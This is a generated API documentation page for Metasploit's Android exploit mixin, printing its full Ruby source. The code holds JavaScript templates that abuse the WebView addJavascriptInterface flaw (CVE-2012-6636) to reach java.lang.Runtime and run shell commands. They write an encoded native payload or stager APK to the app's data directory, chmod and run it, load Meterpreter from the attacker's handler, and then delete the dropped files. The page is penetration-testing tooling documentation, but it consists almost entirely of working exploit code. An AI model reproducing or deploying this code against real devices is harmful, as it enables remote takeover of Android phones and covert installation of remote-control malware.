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<!DOCTYPE html>
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<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
Module: Msf::Exploit::Android
&mdash; Documentation by YARD 0.9.37
</title>
<link rel="stylesheet" href="../../css/style.css" type="text/css" />
<link rel="stylesheet" href="../../css/common.css" type="text/css" />
<script type="text/javascript">
pathId = "Msf::Exploit::Android";
relpath = '../../';
</script>
<script type="text/javascript" charset="utf-8" src="../../js/jquery.js"></script>
<script type="text/javascript" charset="utf-8" src="../../js/app.js"></script>
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<body>
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<iframe id="nav" src="../../class_list.html?1"></iframe>
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</div>
<div id="main" tabindex="-1">
<div id="header">
<div id="menu">
<a href="../../_index.html">Index (A)</a> &raquo;
<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
&raquo;
<span class="title">Android</span>
</div>
<div id="search">
<a class="full_list_link" id="class_list_link"
href="../../class_list.html">
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<div id="content"><h1>Module: Msf::Exploit::Android
</h1>
<div class="box_info">
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/android.rb</dd>
</dl>
</div>
<h2>
Constant Summary
<small><a href="#" class="constants_summary_toggle">collapse</a></small>
</h2>
<dl class="constants">
<dt id="SUPPORTED_ARCHES-constant" class="">SUPPORTED_ARCHES =
<div class="docstring">
<div class="discussion">
<p>Since the NDK stager is used, arch detection must be performed</p>
</div>
</div>
<div class="tags">
</div>
</dt>
<dd><pre class="code"><span class='lbracket'>[</span> <span class='const'>ARCH_ARMLE</span><span class='comma'>,</span> <span class='const'>ARCH_MIPSLE</span><span class='comma'>,</span> <span class='const'>ARCH_X86</span> <span class='rbracket'>]</span></pre></dd>
<dt id="DEFAULT_ARCH-constant" class="">DEFAULT_ARCH =
<div class="docstring">
<div class="discussion">
<p>Most android devices are ARM</p>
</div>
</div>
<div class="tags">
</div>
</dt>
<dd><pre class="code"><span class='const'>ARCH_ARMLE</span></pre></dd>
<dt id="NDK_FILES-constant" class="">NDK_FILES =
<div class="docstring">
<div class="discussion">
<p>Some of the default NDK build targets are named differently than msf’s builtin constants. This mapping allows the ndkstager file to be looked up from the msf constant.</p>
</div>
</div>
<div class="tags">
</div>
</dt>
<dd><pre class="code"><span class='lbrace'>{</span>
<span class='const'>ARCH_ARMLE</span> <span class='op'>=&gt;</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>armeabi</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='const'>ARCH_MIPSLE</span> <span class='op'>=&gt;</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>mips</span><span class='tstring_end'>&#39;</span></span>
<span class='rbrace'>}</span></pre></dd>
</dl>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#add_javascript_interface_exploit_js-instance_method" title="#add_javascript_interface_exploit_js (instance method)">#<strong>add_javascript_interface_exploit_js</strong>(arch) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#linux_exe_js-instance_method" title="#linux_exe_js (instance method)">#<strong>linux_exe_js</strong>(arch) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#ndkstager-instance_method" title="#ndkstager (instance method)">#<strong>ndkstager</strong>(stagename, arch) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>The NDK stager is used to launch a hidden APK.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#stager_js-instance_method" title="#stager_js (instance method)">#<strong>stager_js</strong>(arch) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="add_javascript_interface_exploit_js-instance_method">
#<strong>add_javascript_interface_exploit_js</strong>(arch) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 20</span>
<span class='kw'>def</span> <span class='id identifier rubyid_add_javascript_interface_exploit_js'>add_javascript_interface_exploit_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
function exec(runtime, cmdArr) {
var ch = 0;
var output = &#39;&#39;;
var process = runtime.exec(cmdArr);
var input = process.getInputStream();
while ((ch = input.read()) &gt; 0) { output += String.fromCharCode(ch); }
return output;
}
function attemptExploit(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName(&#39;java.lang.Runtime&#39;); } catch(e) { return; }
// get the pid
var pid = obj.getClass()
.forName(&#39;android.os.Process&#39;)
.getMethod(&#39;myPid&#39;, null)
.invoke(null, null);
// get the runtime so we can exec
var runtime = obj.getClass()
.forName(&#39;java.lang.Runtime&#39;)
.getMethod(&#39;getRuntime&#39;, null)
.invoke(null, null);
</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='const'>ARCH_DALVIK</span> <span class='op'>?</span> <span class='id identifier rubyid_stager_js'>stager_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span> <span class='op'>:</span> <span class='id identifier rubyid_linux_exe_js'>linux_exe_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>
return true;
}
for (i in top) { if (attemptExploit(top[i]) === true) break; }
</span><span class='tstring_end'>|</span></span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="linux_exe_js-instance_method">
#<strong>linux_exe_js</strong>(arch) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 91</span>
<span class='kw'>def</span> <span class='id identifier rubyid_linux_exe_js'>linux_exe_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
<span class='id identifier rubyid_platform_list'>platform_list</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module.html" title="Msf::Module (class)">Module</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/PlatformList.html" title="Msf::Module::PlatformList (class)">PlatformList</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../Module/PlatformList.html#initialize-instance_method" title="Msf::Module::PlatformList#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module.html" title="Msf::Module (class)">Module</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/Platform.html" title="Msf::Module::Platform (class)">Platform</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/Platform/Linux.html" title="Msf::Module::Platform::Linux (class)">Linux</a></span></span><span class='rparen'>)</span>
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
var payloadData = &quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_encoded_exe'>encoded_exe</span><span class='lparen'>(</span><span class='label'>arch:</span> <span class='id identifier rubyid_arch'>arch</span><span class='comma'>,</span> <span class='label'>platform:</span> <span class='id identifier rubyid_platform_list'>platform_list</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;;
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = &#39;/data/data/&#39; + exec(runtime, [&#39;/system/bin/sh&#39;, &#39;-c&#39;, &#39;cat /proc/&#39;+pid.toString()+&#39;/cmdline&#39;]);
var payloadPath = path + &#39;/</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&#39;;
// build the library and chmod it
runtime.exec([&#39;/system/bin/sh&#39;, &#39;-c&#39;, &#39;echo -e &quot;&#39;+payloadData+&#39;&quot; &gt; &#39;+payloadPath]).waitFor();
runtime.exec([&#39;chmod&#39;, &#39;700&#39;, payloadPath]).waitFor();
// run the payload
runtime.exec([&#39;/system/bin/sh&#39;, &#39;-c&#39;, payloadPath + &#39; &amp;&#39;]).waitFor();
// delete dropped files
runtime.exec([&#39;rm&#39;, payloadPath]).waitFor();
</span><span class='tstring_end'>|</span></span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="ndkstager-instance_method">
#<strong>ndkstager</strong>(stagename, arch) &#x21d2; <tt>Object</tt>
</h3><div class="docstring">
<div class="discussion">
<p>The NDK stager is used to launch a hidden APK</p>
</div>
</div>
<div class="tags">
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 115</span>
<span class='kw'>def</span> <span class='id identifier rubyid_ndkstager'>ndkstager</span><span class='lparen'>(</span><span class='id identifier rubyid_stagename'>stagename</span><span class='comma'>,</span> <span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
<span class='id identifier rubyid_stager_file'>stager_file</span> <span class='op'>=</span> <span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_join'>join</span><span class='lparen'>(</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Config.html" title="Msf::Config (class)">Config</a></span></span><span class='period'>.</span><span class='id identifier rubyid_data_directory'><span class='object_link'><a href="../Config.html#data_directory-class_method" title="Msf::Config.data_directory (method)">data_directory</a></span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>exploits</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>CVE-2012-6636</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="#NDK_FILES-constant" title="Msf::Exploit::Android::NDK_FILES (constant)">NDK_FILES</a></span></span><span class='lbracket'>[</span><span class='id identifier rubyid_arch'>arch</span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_arch'>arch</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>libndkstager.so</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_data'>data</span> <span class='op'>=</span> <span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_read'>read</span><span class='lparen'>(</span><span class='id identifier rubyid_stager_file'>stager_file</span><span class='comma'>,</span> <span class='label'>mode:</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rb</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>PLOAD</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='id identifier rubyid_stagename'>stagename</span><span class='rparen'>)</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="stager_js-instance_method">
#<strong>stager_js</strong>(arch) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 57</span>
<span class='kw'>def</span> <span class='id identifier rubyid_stager_js'>stager_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
<span class='id identifier rubyid_stagename'>stagename</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span>
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
// libraryData contains the bytes for a native shared object built via NDK
// which will load the &quot;stage&quot;, which in this case is our android meterpreter stager.
var libraryData = &quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_ndkstager'>ndkstager</span><span class='lparen'>(</span><span class='id identifier rubyid_stagename'>stagename</span><span class='comma'>,</span> <span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;;
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = &quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_raw'>raw</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;;
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = &#39;/data/data/&#39; + exec(runtime, [&#39;/system/bin/sh&#39;, &#39;-c&#39;, &#39;cat /proc/&#39;+pid.toString()+&#39;/cmdline&#39;]);
var libraryPath = path + &#39;/lib</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.so&#39;;
var stagePath = path + &#39;/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_stagename'>stagename</span><span class='embexpr_end'>}</span><span class='tstring_content'>.apk&#39;;
// build the library and chmod it
runtime.exec([&#39;/system/bin/sh&#39;, &#39;-c&#39;, &#39;echo -e &quot;&#39;+libraryData+&#39;&quot; &gt; &#39;+libraryPath]).waitFor();
runtime.exec([&#39;chmod&#39;, &#39;700&#39;, libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec([&#39;/system/bin/sh&#39;, &#39;-c&#39;, &#39;echo -e &quot;&#39;+stageData+&#39;&quot; &gt; &#39;+stagePath]).waitFor();
runtime.exec([&#39;chmod&#39;, &#39;700&#39;, stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec([&#39;rm&#39;, stagePath]).waitFor();
runtime.exec([&#39;rm&#39;, libraryPath]).waitFor();
</span><span class='tstring_end'>|</span></span>
<span class='kw'>end</span></pre>
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Generated on Fri May 8 17:01:10 2026 by
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